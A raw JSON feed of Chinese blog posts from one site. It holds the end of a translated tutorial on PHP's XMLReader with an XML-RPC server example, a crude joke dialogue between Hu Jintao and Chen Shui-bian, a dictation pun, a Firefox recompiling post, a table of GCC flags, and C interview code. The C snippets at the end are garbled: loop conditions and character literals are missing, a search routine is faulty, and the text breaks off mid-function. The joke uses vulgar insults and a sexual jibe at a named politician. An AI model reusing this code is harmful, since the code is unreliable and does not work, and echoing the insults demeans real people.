name=\u0026quot;param\u0026quot;\u0026gt;\n\u0026lt;element name=\u0026quot;value\u0026quot;\u0026gt;\n\u0026lt;element name=\u0026quot;double\u0026quot;\u0026gt;\n\u0026lt;data type=\u0026quot;double\u0026quot;/\u0026gt;\n\u0026lt;/element\u0026gt;\n\u0026lt;/element\u0026gt;\n\u0026lt;/element\u0026gt;\n\u0026lt;/element\u0026gt;\n\u0026lt;/element\u0026gt; 可以使用 setRelaxNGSchemaSource() 将模式作为一串文字直接嵌入 PHP 脚本，或者使用 setRelaxNGSchema() 从外部文件或 URL 读取模式。例如，假定清单 9 位于 sqrt.rng 文件中，下面将展示如何载入模式：\nreader-\u0026gt;setRelaxNGSchema(\u0026quot;sqrt.rng\u0026quot;) 在开始解析文档 之前，执行上述操作。解析器在进行读取时将检查文档的模式。若要检查文档是否有效，则调用 isValid()，如果文档是有效的（目前为止），则返回 true，否则，返回 false。清单 10 展示了完整的程序，包括所有错误处理。这样将接受任何合法输入，然后返回正确的值，而且将拒绝所有不正确的请求。我还添加了 fault() 方法，当发生故障时将发送 XML-RPC 错误响应。\n清单 10. 完整的 XML-RPC 平方根服务器\n\u0026lt;?php\nheader('Content-type: application/xml');\n// try grammar\n$schema = \u0026quot;\u0026lt;element name='methodCall' xmlns='http://relaxng.org/ns/structure/1.0' datatypeLibrary='http://www.w3.org/2001/XMLSchema-datatypes'\u0026gt;\n\u0026lt;element name='methodName'\u0026gt;\n\u0026lt;value\u0026gt;sqrt\u0026lt;/value\u0026gt;\n\u0026lt;/element\u0026gt;\n\u0026lt;element name='params'\u0026gt;\n\u0026lt;element name='param'\u0026gt;\n\u0026lt;element name='value'\u0026gt;\n\u0026lt;element name='double'\u0026gt;\n\u0026lt;data type='double'/\u0026gt;\n\u0026lt;/element\u0026gt;\n\u0026lt;/element\u0026gt;\n\u0026lt;/element\u0026gt;\n\u0026lt;/element\u0026gt;\n\u0026lt;/element\u0026gt;\u0026quot;;\nif (!isset($HTTP_RAW_POST_DATA)) {\nfault(22, \u0026quot;Please make sure always_populate_raw_post_data = On in php.ini\u0026quot;);\n}\nelse {\n// set up the request\n$request = $HTTP_RAW_POST_DATA;\nerror_reporting(E_ERROR | E_WARNING | E_PARSE);\n// create the reader\n$reader = new XMLReader();\n$reader-\u0026gt;setRelaxNGSchema(\u0026quot;request.rng\u0026quot;);\n$reader-\u0026gt;XML($request);\n$input = \u0026quot;\u0026quot;;\nwhile ($reader-\u0026gt;read()) {\nif ($reader-\u0026gt;name == \u0026quot;double\u0026quot; \u0026amp;\u0026amp; $reader-\u0026gt;nodeType == XMLReader::ELEMENT) {\nwhile ($reader-\u0026gt;read()) {\nif ($reader-\u0026gt;nodeType == XMLReader::TEXT\n|| $reader-\u0026gt;nodeType == XMLReader::CDATA\n|| $reader-\u0026gt;nodeType == XMLReader::WHITESPACE\n|| $reader-\u0026gt;nodeType == XMLReader::SIGNIFICANT_WHITESPACE) {\n$input .= $reader-\u0026gt;value;\n}\nelse if ($reader-\u0026gt;nodeType == XMLReader::END_ELEMENT\n\u0026amp;\u0026amp; $reader-\u0026gt;name == \u0026quot;double\u0026quot;) {\nbreak;\n}\n} break;\n}\n} if (isset($php_errormsg) ) fault(21, $php_errormsg);\nelse if (! $reader-\u0026gt;isValid()) fault(19, \u0026quot;Invalid request\u0026quot;);\nelse if ($input \u0026lt; 0) fault(20, \u0026quot;Cannot take square root of negative number\u0026quot;);\nelse respond($input);\n$reader-\u0026gt;close();\n}\nfunction respond($input)\n{\n?\u0026gt;\n\u0026lt;methodResponse\u0026gt;\n\u0026lt;params\u0026gt;\n\u0026lt;param\u0026gt;\n\u0026lt;value\u0026gt;\u0026lt;double\u0026gt;\u0026lt;?php echo sqrt($input);\n?\u0026gt;\u0026lt;/double\u0026gt;\u0026lt;/value\u0026gt;\n\u0026lt;/param\u0026gt;\n\u0026lt;/params\u0026gt;\n\u0026lt;/methodResponse\u0026gt;\n\u0026lt;?php\n}\nfunction fault($code, $message)\n{\necho \u0026quot;\u0026lt;?xml version='1.0'?\u0026gt;\n\u0026lt;methodResponse\u0026gt;\n\u0026lt;fault\u0026gt;\n\u0026lt;value\u0026gt;\n\u0026lt;struct\u0026gt;\n\u0026lt;member\u0026gt;\n\u0026lt;name\u0026gt;faultCode\u0026lt;/name\u0026gt;\n\u0026lt;value\u0026gt;\u0026lt;int\u0026gt;\u0026quot; . $code . \u0026quot;\u0026lt;/int\u0026gt;\u0026lt;/value\u0026gt;\n\u0026lt;/member\u0026gt;\n\u0026lt;member\u0026gt;\n\u0026lt;name\u0026gt;faultString\u0026lt;/name\u0026gt;\n\u0026lt;value\u0026gt;\n\u0026lt;string\u0026gt;\u0026quot; . $message . \u0026quot;\u0026lt;/string\u0026gt;\n\u0026lt;/value\u0026gt;\n\u0026lt;/member\u0026gt;\n\u0026lt;/struct\u0026gt;\n\u0026lt;/value\u0026gt;\n\u0026lt;/fault\u0026gt;\n\u0026lt;/methodResponse\u0026gt;\u0026quot;;\n} 属性\n在正常的推解析期间不会看到属性。若要读取属性，请停止在元素的起点处，通过名称或编号来请求特定属性。\n将需要的属性名称传递到 getAttribute()，以便在当前元素上查找该属性的值。例如，下面的语句请求当前元素的 id 属性：\n$id = $reader-\u0026gt;getAttribute(\u0026quot;id\u0026quot;); 如果属性位于名称空间中 \u0026mdash;\u0026mdash; 例如，xlink:href \u0026mdash;\u0026mdash; 则调用 getAttributeNS()，将本地名称和名称空间 URI 分别作为第一个和第二个参数进行传递。（前缀是无关紧要的。）例如，下面的语句将请求 http://www.w3.org/1999/xlink/ 名称空间中 xlink:href 属性的值：\n$href = $reader-\u0026gt;getAttributeNS(\u0026quot;href\u0026quot;, \u0026quot;http://www.w3.org/1999/xlink/\u0026quot;); 如果属性不存在，那么这两种方法都将返回空字符串。（这是不正确的。它们应该返回 null。当前设计很难区分值为空字符串的属性和值根本不存在的属性。）\n属性次序\n在 XML 文档中，属性次序并不重要，并且不受解析器的保护。这里用于属性索引的编号仅仅是为了方便起见。不能保证开始标记中的第一个属性就是属性 1，第二个就是属性 2 等等。不要编写依赖于属性次序的代码。\n如果仅希望了解元素上的所有属性，并且事先并不知道属性名，那么当读取器位于元素上时，调用 moveToNextAttribute()。一旦解析器位于属性节点上，就可以读取属性的名称、名称空间以及元素所使用的相同属性的值。例如，以下代码片段将打印当前元素的所有属性：\nif ($reader-\u0026gt;hasAttributes and $reader-\u0026gt;nodeType == XMLReader::ELEMENT) {\nwhile ($reader-\u0026gt;moveToNextAttribute()) {\necho $reader-\u0026gt;name . \u0026quot;='\u0026quot; . $reader-\u0026gt;value . \u0026quot;'n\u0026quot;;\n}\necho \u0026quot;n\u0026quot;;\n} 对于 XML API 来说非常难得的是，XMLReader 允许从元素的起点 或终点 读取属性。为了避免重复计算，确认代码类型是 XMLReader::ELEMENT 而不是 XMLReader::END_ELEMENT 是很重要的，后者也可能拥有属性。\n结束语\nXMLReader 是添加到 PHP 程序员工具箱中的一个很有用的工具。与 SimpleXML 不同，它是处理所有文档（而不是部分文档）的完整 XML 解析器。与 DOM 不同，它可以处理大于可用内存的文档。与 SAX 不同，它将程序置于控制之下。如果 PHP 程序需要接受 XML 输入，则 XMLReader 是很值得考虑的一个工具。\n参考资料\n学习\n\u0026nbsp;\u0026nbsp;\u0026nbsp; * 您可以参阅本文在 developerWorks 全球网站上的 英文原文。\n\u0026nbsp;\u0026nbsp;\u0026nbsp; * XMLReader 的官方文档：阅读 PHP 5 手册。\n\u0026nbsp;\u0026nbsp;\u0026nbsp; * PHP XMLReader 类：阅读有关 libxml 的 C XMLReader API 之上的这个薄层的更多内容。\n\u0026nbsp;\u0026nbsp;\u0026nbsp; * .NET 的 Ajax System.Xml.XmlTextReader：查看该 API 的灵感。\n\u0026nbsp;\u0026nbsp;\u0026nbsp; * XML in a Nutshell（Elliotte Rusty Harold 和 W. Scott Means，O\u0026#8217;Reilly，2005）：在这本小而全面的书籍中深入研究了 XML \u0026mdash;\u0026mdash; 可以作为全面介绍和参考资料。\n\u0026nbsp;\u0026nbsp;\u0026nbsp; * Java 编程中的 XML-RPC（Roy Miller，developerWorks，2004 年 1 月）：为应用程序间通信的最简路径编写的 XML-RPC 客户机和服务器。\n\u0026nbsp;\u0026nbsp;\u0026nbsp; * PHP 中的 SimpleXML 处理（Elliotte Rusty Harold，developerWorks，2006 年 10 月）：使用 SimpleXML 扩展，在 PHP 中使用 SimpleXML 编写特定于标记的 RSS 阅读器。\n\u0026nbsp;\u0026nbsp;\u0026nbsp; * 使用 RELAX NG 反击，第 1 部分（David Mertz，developerWorks，2003 年 2 月）：使用 RELAX NG 来创建强大的、简练的、语义简单易懂的类，用于描述有效 XML 实例。\n\u0026nbsp;\u0026nbsp;\u0026nbsp; * Design Patterns（Addison-Wesley，1995 年）：深入研究 Gang of Four 的力作中对 Observer 和 Iterator 设计模式的阐述。\n\u0026nbsp;\u0026nbsp;\u0026nbsp; * IBM XML 认证：了解如何才能成为一名 IBM 认证的 XML 及相关技术的开发人员。\n\u0026nbsp;\u0026nbsp;\u0026nbsp; * XML 技术库：查看 developerWorks 中国网站 XML 专区，获得大量技术文章、技巧、教程、标准以及 IBM 红皮书。\n\u0026nbsp;\u0026nbsp;\u0026nbsp; * developerWorks 技术活动和网络广播：随时关注这些会议中的技术进展。\n获得产品和技术\n\u0026nbsp;\u0026nbsp;\u0026nbsp; * 使用 IBM 试用版软件：构建您的下一个开发项目，可直接从 developerWorks 下载。\n讨论\n\u0026nbsp;\u0026nbsp;\u0026nbsp; * XML 专区讨论论坛：参与任何一个面向 XML 的论坛。\n\u0026nbsp;\u0026nbsp;\u0026nbsp; * 通过参与 developerWorks blogs 加入 developerWorks 社区。\n关于作者\nPhoto of Elliot Rusty Harold\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; Elliotte Harold 出生在新奥尔良，现在他还定期回老家喝一碗美味的秋葵汤。但目前他和妻子 Beth、他们的狗 Shayna、猫 Charm 和 Marjorie 定居在布鲁克林附近的 Prospect Heights。他是 Polytechnic 大学的计算机科学副教授，讲授 Java 和面向对象编程。他的 Cafe au Lait Web 站点是 Internet 上最受欢迎的独立 Java 站点之一，子站点 Cafe con Leche 是最受欢迎的 XML 站点之一。他的著作包括 Effective XML、 Processing XML with Java、 Java Network Programming 和 The XML 1.1 Bible。他的最新著作是 Java I/O, 第二版。他目前从事 XOM API 处理 XML、Jaxen XPath 引擎和 Jester 测试覆盖工具的研究。\n","permalink":"https://hessian.cn/p/643.html","summary":"src:http://www.wujianrong.com/archives/2007/04/php_xml.html\nPHP 5 引入了新的类 XMLReader，用于读取可扩展标记语言（Extensible Markup Language，XML）。与 SimpleXML 或文档对象模型（Document Object Model，DOM）不同，XMLReader 以流模式进行操作。即它从头到尾读取文档。在文档后面的内容编译完成之前，可以先处理已编译好的文档前面的内容,从而实现非常快速、非常高效、非常节省地使用内存。需要处理的文档越大，这个特点就越发重要。\n","title":"PHP 中的 XML 拉模式解析"},{"content":"转自某QQ好友之口\n两岸才子对话!!!\n锦涛：我怎么可以以大欺小呢？\n水扁：文学切磋是不分辈份的！如果你对不出来，别怪我搞台独！接招吧！\n水扁：一年两会又三代表不思四化五谷六业，教训七八九流，十分无聊！\n锦涛：十年九谈凑得八股七条六规五讲四美，为何三刀两面，一个汉奸！\n水扁：好工整啊！ 继续：官场里，钱不贪权不沾，小小公仆可笑可笑！\n锦涛：黑道上，刀无影剑无光，叫声阿扁提防提防！\n众人：好好，对得好！\n水扁：蒙蒙骗骗吹吹捧捧打打杀杀喀嚓喀嚓！\n锦涛：唧唧歪歪嘻嘻哈哈婆婆妈妈三八三八！\n众人：胡总真行呀，胡总好棒啊！\n水扁：十口心思，思钱思权思小蜜！\n锦涛：八目共赏，赏金赏银赏耳光！\n众人：好，好\u0026#8212; \u0026#8212;\n水扁：吾撒外汇来铺路！\n锦涛：我引台资入国库！\n水扁：说到统一我就吐！\n锦涛：你他妈的就是猪！\n水扁：啊？后退数步，鲜血狂喷\n水扁：下班就泡大陆妹\n锦涛：坐台只点吕秀莲\n水扁：啊？后退数步，鲜血狂喷，应声倒地\n","permalink":"https://hessian.cn/p/431.html","summary":"转自某QQ好友之口\n两岸才子对话!!!\n锦涛：我怎么可以以大欺小呢？\n水扁：文学切磋是不分辈份的！如果你对不出来，别怪我搞台独！接招吧！\n水扁：一年两会又三代表不思四化五谷六业，教训七八九流，十分无聊！\n","title":"[转][搞笑]两岸才子对话!!!"},{"content":"一位山东籍的语文老师，为学生朗读了一首题为《卧春》的陆游的古诗，要求学生听写出来。语文老师朗读如下\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 有位学生听写如下:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; 《卧春》\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 《我蠢》\u0026nbsp;\u0026nbsp; 暗梅幽闻花，\u0026nbsp;\u0026nbsp;\u0026nbsp; 俺没有文化\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 卧枝伤恨底，\u0026nbsp;\u0026nbsp;\u0026nbsp; 我智商很低，\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 遥闻卧似水，\u0026nbsp;\u0026nbsp;\u0026nbsp; 要问我是谁，\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 易透达春绿。\u0026nbsp;\u0026nbsp;\u0026nbsp; 一头大蠢驴。\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 岸似绿，\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 俺是驴，\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 岸似透绿，\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 俺是头驴，\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 岸似透黛绿。\u0026nbsp;\u0026nbsp;\u0026nbsp; 俺是头呆驴\n","permalink":"https://hessian.cn/p/577.html","summary":"一位山东籍的语文老师，为学生朗读了一首题为《卧春》的陆游的古诗，要求学生听写出来。语文老师朗读如下\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 有位学生听写如下:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; 《卧春》\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 《我蠢》\u0026nbsp;\u0026nbsp; 暗梅幽闻花，\u0026nbsp;\u0026nbsp;\u0026nbsp; 俺没有文化\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 卧枝伤恨底，\u0026nbsp;\u0026nbsp;\u0026nbsp; 我智商很低，\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 遥闻卧似水，\u0026nbsp;\u0026nbsp;\u0026nbsp; 要问我是谁，\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 易透达春绿。\u0026nbsp;\u0026nbsp;\u0026nbsp; 一头大蠢驴。\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 岸似绿，\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 俺是驴，\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 岸似透绿，\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 俺是头驴，\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 岸似透黛绿。\u0026nbsp;\u0026nbsp;\u0026nbsp; 俺是头呆驴\n","title":"朋友给发的一笑话"},{"content":"用了firefox3.0b3 ，新版本在用户体验上比以前有了很大的提升，但是总觉得好像还是稍微有那么点慢。。。\n嘿嘿。。主要是在切换一些内容较多的tab时会有较高的延迟，大概0.6，7妙吧。。。。Oooo\u0026#8230;..\n怎么办呢？。。。。\n到\nftp://ftp.mozilla.org/pub/mozilla.org/firefox/releases/\n下了个最新的 3.0b4的source 自己编译\u0026nbsp;\u0026nbsp;\u0026nbsp; 哇呀呀～～\n用了-O3的优化选项， 呵呵 呵呵呵呵｀｀｀｀｀｀\n编译过程可有好几十分钟呢。。。。我可是AMD 5000+的说。。。。\n不过效果是很明显啊\u0026#8230;. 速度那是彪上去的\u0026#8230;..真爽\u0026#8230;.\n","permalink":"https://hessian.cn/p/460.html","summary":"用了firefox3.0b3 ，新版本在用户体验上比以前有了很大的提升，但是总觉得好像还是稍微有那么点慢。。。\n嘿嘿。。主要是在切换一些内容较多的tab时会有较高的延迟，大概0.6，7妙吧。。。。Oooo\u0026#8230;..\n","title":"至强 firefox 。 重新编译过后果然速度狂飙"},{"content":"检查你的gcc版本： # gcc \u0026#8211;version\n* 获取你的cpu的型号： # cat /proc/cpuinfo\n* 在/etc/下建立make.conf文件，并根据cpu的型号写入不同内容(注意你的gcc版本必须在3.0以上)： i386 (Intel)\nCHOST=\u0026quot;i386-pc-linux-gnu\u0026quot;\nCFLAGS=\u0026quot;-march=i386 -O3 -pipe -fomit-frame-pointer\u0026quot;\nCXXFLAGS=\u0026quot;-march=i386 -O3 -pipe -fomit-frame-pointer\u0026quot;\ni486 (Intel)\nCHOST=\u0026quot;i486-pc-linux-gnu\u0026quot;\nCFLAGS=\u0026quot;-march=i486 -O3 -pipe -fomit-frame-pointer\u0026quot;\nCXXFLAGS=\u0026quot;-march=i486 -O3 -pipe -fomit-frame-pointer\u0026quot;\nPentium 1 (Intel)\nCHOST=\u0026quot;i586-pc-linux-gnu\u0026quot;\nCFLAGS=\u0026quot;-march=pentium -O3 -pipe -fomit-frame-pointer\u0026quot;\nCXXFLAGS=\u0026quot;-march=pentium -O3 -pipe -fomit-frame-pointer\u0026quot;\nPentium MMX (Intel)\nCHOST=\u0026quot;i586-pc-linux-gnu\u0026quot;\nCFLAGS=\u0026quot;-march=pentium-mmx -O3 -pipe -fomit-frame-pointer\u0026quot;\nCXXFLAGS=\u0026quot;-march=pentium-mmx -O3 -pipe -fomit-frame-pointer\u0026quot;\nPentium PRO (Intel)\nCHOST=\u0026quot;i686-pc-linux-gnu\u0026quot;\nCFLAGS=\u0026quot;-march=pentiumpro -O3 -pipe -fomit-frame-pointer\u0026quot;\nCXXFLAGS=\u0026quot;-march=pentiumpro -O3 -pipe -fomit-frame-pointer\u0026quot;\nPentium II (Intel)\nCHOST=\u0026quot;i686-pc-linux-gnu\u0026quot;\nCFLAGS=\u0026quot;-march=pentium2 -O3 -pipe -fomit-frame-pointer\u0026quot;\nCXXFLAGS=\u0026quot;-march=pentium2 -O3 -pipe -fomit-frame-pointer\u0026quot;\nCeleron (Mendocino), aka Celeron1 (Intel)\nCHOST=\u0026quot;i686-pc-linux-gnu\u0026quot;\nCFLAGS=\u0026quot;-march=pentium2 -O3 -pipe -fomit-frame-pointer\u0026quot;\nCXXFLAGS=\u0026quot;-march=pentium2 -O3 -pipe -fomit-frame-pointer\u0026quot;\nPentium III (Intel)\nCHOST=\u0026quot;i686-pc-linux-gnu\u0026quot;\nCFLAGS=\u0026quot;-march=pentium3 -O3 -pipe -fomit-frame-pointer\u0026quot;\nCXXFLAGS=\u0026quot;-march=pentium3 -O3 -pipe -fomit-frame-pointer\u0026quot;\nCeleron (Coppermine) aka Celeron2 (Intel)\nCHOST=\u0026quot;i686-pc-linux-gnu\u0026quot;\nCFLAGS=\u0026quot;-march=pentium3 -O3 -pipe -fomit-frame-pointer\u0026quot;\nCXXFLAGS=\u0026quot;-march=pentium3 -O3 -pipe -fomit-frame-pointer\u0026quot;\nCeleron (Willamette) (Intel)\nCHOST=\u0026quot;i686-pc-linux-gnu\u0026quot;\nCFLAGS=\u0026quot;-march=pentium4 -O3 -pipe -fomit-frame-pointer\u0026quot;\nCXXFLAGS=\u0026quot;-march=pentium4 -O3 -pipe -fomit-frame-pointer\u0026quot;\nPentium 4 (Intel)\nCHOST=\u0026quot;i686-pc-linux-gnu\u0026quot;\nCFLAGS=\u0026quot;-march=pentium4 -O3 -pipe -fomit-frame-pointer\u0026quot;\nCXXFLAGS=\u0026quot;-march=pentium4 -O3 -pipe -fomit-frame-pointer\u0026quot;\nEden C3/Ezra (Via)\nCHOST=\u0026quot;i586-pc-linux-gnu\u0026quot;\nCFLAGS=\u0026quot;-march=i586 -m3dnow -O3 -pipe -fomit-frame-pointer\u0026quot;\nCXXFLAGS=\u0026quot;-march=i586 -m3dnow -O3 -pipe -fomit-frame-pointer\u0026quot;\nK6 (AMD)\nCHOST=\u0026quot;i586-pc-linux-gnu\u0026quot;\nCFLAGS=\u0026quot;-march=k6 -O3 -pipe -fomit-frame-pointer\u0026quot;\nCXXFLAGS=\u0026quot;-march=k6 -O3 -pipe -fomit-frame-pointer\u0026quot;\nK6-2 (AMD)\nCHOST=\u0026quot;i586-pc-linux-gnu\u0026quot;\nCFLAGS=\u0026quot;-march=k6-2 -O3 -pipe -fomit-frame-pointer\u0026quot;\nCXXFLAGS=\u0026quot;-march=k6-2 -O3 -pipe -fomit-frame-pointer\u0026quot;\nK6-3 (AMD)\nCHOST=\u0026quot;i586-pc-linux-gnu\u0026quot;\nCFLAGS=\u0026quot;-march=k6-3 -O3 -pipe -fomit-frame-pointer\u0026quot;\nCXXFLAGS=\u0026quot;-march=k6-3 -O3 -pipe -fomit-frame-pointer\u0026quot;\nAthlon (AMD)\nCHOST=\u0026quot;i686-pc-linux-gnu\u0026quot;\nCFLAGS=\u0026quot;-march=athlon -O3 -pipe -fomit-frame-pointer\u0026quot;\nCXXFLAGS=\u0026quot;-march=athlon -O3 -pipe -fomit-frame-pointer\u0026quot;\nAthlon-tbird, aka K7 (AMD)\nCHOST=\u0026quot;i686-pc-linux-gnu\u0026quot;\nCFLAGS=\u0026quot;-march=athlon-tbird -O3 -pipe -fomit-frame-pointer\u0026quot;\nCXXFLAGS=\u0026quot;-march=athlon-tbird -O3 -pipe -fomit-frame-pointer\u0026quot;\nAthlon-tbird XP (AMD)\nCHOST=\u0026quot;i686-pc-linux-gnu\u0026quot;\nCFLAGS=\u0026quot;-march=athlon-xp -O3 -pipe -fomit-frame-pointer\u0026quot;\nCXXFLAGS=\u0026quot;-march=athlon-xp -O3 -pipe -fomit-frame-pointer\u0026quot;\nAthlon 4(AMD)\nCHOST=\u0026quot;i686-pc-linux-gnu\u0026quot;\nCFLAGS=\u0026quot;-march=athlon-4 -O3 -pipe -fomit-frame-pointer\u0026quot;\nCXXFLAGS=\u0026quot;-march=athlon-4 -O3 -pipe -fomit-frame-pointer\u0026quot;\nAthlon XP (AMD)\nCHOST=\u0026quot;i686-pc-linux-gnu\u0026quot;\nCFLAGS=\u0026quot;-march=athlon-xp -O3 -pipe -fomit-frame-pointer\u0026quot;\nCXXFLAGS=\u0026quot;-march=athlon-xp -O3 -pipe -fomit-frame-pointer\u0026quot;\nAthlon MP (AMD)\nCHOST=\u0026quot;i686-pc-linux-gnu\u0026quot;\nCFLAGS=\u0026quot;-march=athlon-mp -O3 -pipe -fomit-frame-pointer\u0026quot;\nCXXFLAGS=\u0026quot;-march=athlon-mp -O3 -pipe -fomit-frame-pointer\u0026quot;\n603 (PowerPC)\nCHOST=\u0026quot;powerpc-unknown-linux-gnu\u0026quot;\nCFLAGS=\u0026quot;-O3 -pipe -fsigned-char\u0026quot;\nCXXFLAGS=\u0026quot;-O3 -pipe -fsigned-char\u0026quot;\n603e (PowerPC)\nCHOST=\u0026quot;powerpc-unknown-linux-gnu\u0026quot;\nCFLAGS=\u0026quot;-O3 -pipe -fsigned-char\u0026quot;\nCXXFLAGS=\u0026quot;-O3 -pipe -fsigned-char\u0026quot;\n604 (PowerPC)\nCHOST=\u0026quot;powerpc-unknown-linux-gnu\u0026quot;\nCFLAGS=\u0026quot;-O3 -pipe -fsigned-char\u0026quot;\nCXXFLAGS=\u0026quot;-O3 -pipe -fsigned-char\u0026quot;\n604e (PowerPC)\nCHOST=\u0026quot;powerpc-unknown-linux-gnu\u0026quot;\nCFLAGS=\u0026quot;-O3 -pipe -fsigned-char\u0026quot;\nCXXFLAGS=\u0026quot;-O3 -pipe -fsigned-char\u0026quot;\n750 aka as G3 (PowerPC)\nCHOST=\u0026quot;powerpc-unknown-linux-gnu\u0026quot;\nCFLAGS=\u0026quot;-mcpu=750 -O3 -pipe -fsigned-char -mpowerpc-gfxopt\u0026quot;\nCXXFLAGS=\u0026quot;-mcpu=750 -O3 -pipe -fsigned-char -mpowerpc-gfxopt\u0026quot;\n7400, aka G4 (PowerPC)\nCHOST=\u0026quot;powerpc-unknown-linux-gnu\u0026quot;\nCFLAGS=\u0026quot;-mcpu=7400 -O2 -pipe -fsigned-char -maltivec -mabi=altivec -mpowerpc-gfxopt\u0026quot;\nCXXFLAGS=\u0026quot;-mcpu=7400 -O2 -pipe -fsigned-char -maltivec -mabi=altivec -mpowerpc-gfxopt\u0026quot;\n7450, aka G4 second generation (PowerPC)\nCHOST=\u0026quot;powerpc-unknown-linux-gnu\u0026quot;\nCFLAGS=\u0026quot;-mcpu=7450 -O2 -pipe -fsigned-char -maltivec -mabi=altivec -mpowerpc-gfxopt\u0026quot;\nCXXFLAGS=\u0026quot;-mcpu=7450 -O2 -pipe -fsigned-char -maltivec -mabi=altivec -mpowerpc-gfxopt\u0026quot;\nPowerPC (If you don\u0026rsquo;t know which one)\nCHOST=\u0026quot;powerpc-unknown-linux-gnu\u0026quot;\nCFLAGS=\u0026quot;-O3 -pipe -fsigned-char -mpowerpc-gfxopt\u0026quot;\nCXXFLAGS=\u0026quot;-O3 -pipe -fsigned-char -mpowerpc-gfxopt\u0026quot;\nSparc\nCHOST=\u0026quot;sparc-unknown-linux-gnu\u0026quot;\nCFLAGS=\u0026quot;-O3 -pipe -fomit-frame-pointer\u0026quot;\nCXXFLAGS=\u0026quot;-O3 -pipe -fomit-frame-pointer\u0026quot;\nSparc 64\nCHOST=\u0026quot;sparc64-unknown-linux-gnu\u0026quot;\nCFLAGS=\u0026quot;-O3 -pipe -fomit-frame-pointer\u0026quot;\nCXXFLAGS=\u0026quot;-O3 -pipe -fomit-frame-pointer\u0026quot;\n好了，这样做后你编译出的程序运行效率将比以前高很多！只要你有时间，你可以把你的系统如 Red Hat Linux 9 的源代码（后缀.src.rpm）全部重新编译一次，你会发现你的Red Hat Linux系统将比原来快一大截！\n","permalink":"https://hessian.cn/p/319.html","summary":"检查你的gcc版本： # gcc \u0026#8211;version\n* 获取你的cpu的型号： # cat /proc/cpuinfo\n* 在/etc/下建立make.conf文件，并根据cpu的型号写入不同内容(注意你的gcc版本必须在3.0以上)： ","title":"GCC编译优化设置"},{"content":"二分查找的代码.\nint bfind(int* a,int len,int val)\n{\nint m = len/2;\nint l = 0;\nint r = len;\nwhile(l!=m \u0026amp;\u0026amp; r!= m)\n{\nif(a[m] \u0026gt; val)\n{\nr = m;\nm = (m+l)/2;\n}\nelse if(a[m] \u0026lt; val)\n{\nl = m;\nm = (m+r)/2;\n}\nelse\nreturn m;\n}\nreturn -1; //没有找到\n}\n写出在母串中查找子串出现次数的代码.\nint count1(char* str,char* s)\n{\nchar* s1;\nchar* s2;\nint count = 0;\nwhile(*str!=\u0026#8221;)\n{\ns1 = str;\ns2 = s;\nwhile(*s2 == *s1\u0026amp;\u0026amp;(*s2!=\u0026#8221;)\u0026amp;\u0026amp;(*s1!=\u0026#8217;0\u0026#8242;))\n{\ns2++;\ns1++;\n}\nif(*s2 == \u0026#8221;)\ncount++;\nstr++;\n}\nreturn count;\n}\n查找第一个匹配子串位置,如果返回的是s1长度len1表示没有找到\nsize_t find(char* s1,char* s2)\n{\nsize_t i=0;\nsize_t len1 = strlen(s1)\nsize_t len2 = strlen(s2);\nif(len1-len2\u0026lt;0) return len1;\nfor(;i {\nsize_t m = i;\nfor(size_t j=0;j {\nif(s1[m]!=s2[j])\nbreak;\nm++;\n}\nif(j==len)\nbreak;\n}\nreturn i }\n写出快速排序或者某种排序算法代码\n快速排序:\nint partition(int* a,int l,int r)\n{\nint i=l-1,j=r,v=a[r];\nwhile(1)\n{\nwhile(a[++i] while(a[\u0026#8211;j]\u0026gt;v) if(j\u0026lt;=i) break;\nif(i\u0026gt;=j)\nbreak;\nswap(a[i],a[j]);\n}\nswap(a[i],a[r]);\nreturn i;\n}\nvoid qsort(int* a,int l,int r)\n{\nif(l\u0026gt;=r) return;\nint i = partition(a,l,r);\nqsort(a,l,i-1);\nqsort(a,i+1,r);\n}\n冒泡排序:\nvoid buble(int *a,int n)\n{\nfor(int i=0;i {\nfor(int j=1;j {\nif(a[j] {\nint temp=a[j];\na[j] = a[j-1];\na[j-1] = temp;\n}\n}\n}\n}\n插入排序：\nvoid insertsort(int* a,int n)\n{\nint key;\nfor(int j=1;j {\nkey = a[j];\nfor(int i=j-1;i\u0026gt;=0\u0026amp;\u0026amp;a[i]\u0026gt;key;i\u0026#8211;)\n{\na[i+1] = a[i];\n}\na[i+1] = key;\n}\n}\n出现次数相当频繁\n实现strcmp函数\nint strcmp11(char* l,char* r)\n{\nassert(l!=0\u0026amp;\u0026amp;r!=0);\nwhile(*l == *r \u0026amp;\u0026amp;*l != \u0026#8221;) l++,r++;\nif(*l \u0026gt; *r)\nreturn 1;\nelse if(*l == *r)\nreturn 0;\nreturn 